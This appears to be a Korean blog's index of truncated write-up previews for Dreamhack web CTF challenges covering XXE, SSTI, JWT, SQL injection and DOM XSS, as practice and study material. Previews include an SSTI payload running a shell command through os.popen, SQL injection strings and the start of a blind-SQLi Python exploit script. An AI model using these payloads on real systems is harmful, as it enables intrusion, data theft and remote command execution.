CTF & Wargame(WEB) 40

Dreamhack Movie time table

XXE 취약점에 대해XXE 취약점 : XML에서 발생하는 보안 취약점XML : Extensible Markup Language의 줄임말로, HTML은 정해진 태그만 사용하는 반면, XML을 활용하면 태그를 직접 만들어서 활용할 수 있다. 09 08 2021 XML에 대하여 XML은 XML이다.위와 같은 XML 파일을 보면, 정보를 태그로 마크하여 필요한 내용을 안에 작성할 수 있다.XXE에 대하여XXE 취약점은 XML External Entity의 줄임말로, XML 타입의 데이터 요청을 전송할 때 XML의 외부 엔티티를 처리할 수 있게 설정이 되어 있는 경우에 발생하는 취약점이다. → XML 자체가 사용자가 임의적으로 무언가르 정해서 보낼 수..

CTF & Wargame(WEB) 2025.06.01

Dreamhack Switching Command

Switching Command문제 분석위와 같은 화면을 확인할 수 있다.임의로 Username으로 guest라는 값을 주고 Submit 버튼을 눌러보니,“Failed to parse JSON data”라는 결과가 출력된다.어떤 조건에서 어떤 페이지를 리다이렉션 해주는지 모르기 때문에 소스코드를 분석해보자“guest” → 이렇게 입력해주면위와 같이 test.php로 잘 넘어감소스코드 분석index.phpif ($_SERVER["REQUEST_METHOD"]=="POST"){ $data = json_decode($_POST["username"]); if ($data === null) { exit("Failed to parse JSON data"); }만약 request meth..

CTF & Wargame(WEB) 2025.05.30

dreamhack username:password@ 풀이

소스코드 분석const genRanHex = size => [...Array(size)].map(() => Math.floor(Math.random() * 16).toString(16)).join('');const users = { 'admin': genRanHex(16),};위의 코드는 admin이라는 id에 대한 password를 랜덤한 16자리 16진수로 생성한다. const loginRequired = basicAuth({ authorizer: (username, password) => users[username] == password, // Authorization: Basic 으로 인증 unauthorizedResponse: 'Unauthorized', });위의 코드는 http b..

CTF & Wargame(WEB) 2025.05.20

SSTI 관련 문제 풀이

ssti 관련 문제라고 설명이 있었기 때문에 {{3+3}}을 페이로드로 삽입하고 전송해보니, 6이 출력되는 것을 확인할 수 있었다.따라서 템플릿 인젝션이 가능하다는 뜻이다. 문제 설명에 flag.txt에 flag가 있다고 했기 때문에 flag.txt를 열어봐야한다. payload : {{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}를 사용자 입력으로 입력하면 이렇게 flag가 출력되는 것을 확인할 수 있다.

CTF & Wargame(WEB) 2025.05.04

JWT (JSON Web Token) 취약점 관련 문제

위와 같은 웹페이지에서 admin 권한으로 로그인하여 flag를 획득하는 문제이다.url로 /login에 접근해보았지만 405가 뜨면서 접근할 수 없다. (/flag도 마찬가지) 따라서 burp로 데이터를 보내야 될 것 같다.그래서 위의 사진과 같이 header에 Content-Type: application/json를 추가하고, {"username": "guest", "password": "guest"} 페이로드를 삽입했더니 오른쪽 response에 token이 출력된 것을 확인할 수 있다. "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.1bAygaodib4H4E3iMScGZ4DfAy1NZMvCI8hAXP_NCfA" 저번 핵테온 c..

CTF & Wargame(WEB) 2025.05.02

level 1 error based sql injection

문제 분석문제 링크를 통해 접속해보면 위와 같이 uid에 파라미터로 test를 입력하면 화면에 test가 뜨는 것을 확인할 수 있다. DB 분석CREATE DATABASE IF NOT EXISTS `users`;GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';USE `users`;CREATE TABLE user( idx int auto_increment primary key, uid varchar(128) not null, upw varchar(128) not null);INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');INSERT INTO user(u..

CTF & Wargame(WEB) 2025.04.22

level 2 blind sql injection advanced

익스플로잇 코드# admin 비밀번호의 길이를 알아내야 함# 비밀번호에는 한글과 아스키코드가 섞여있음# --> 그냥 length 함수 쓰면 오류가 날 수 있기 때문에 char_length 함수 사용해야함import requestshost = "http://host3.dreamhack.games:8475/"pw_len = 0def password_length(): global pw_len while True: pw_len += 1 query = f"admin' and char_length(upw) = {pw_len}-- -" r = requests.get(f"{host}?uid={query}") if "exists" in r.text: ..

CTF & Wargame(WEB) 2025.04.22

level 2 DOM XSS

엔드 포인트 분석/vuln@app.route("/vuln")def vuln(): param = request.args.get("param", "") return render_template("vuln.html", nonce=nonce, param=param)해당 함수에서는 파라미터를 사용자에게 받고 받은 값을 param에 넘겨준다. 그리고 vuln.html을 반환한다. 여기서 vuln.html을 반환할때 render_template함수를 사용하고 있기 때문에 XSS는 어려울것으로 예상된다. vuln.html{% extends "base.html" %}{% block title %}Index{% endblock %}{% block head %} {{ super() }} {% endblock ..

CTF & Wargame(WEB) 2025.04.22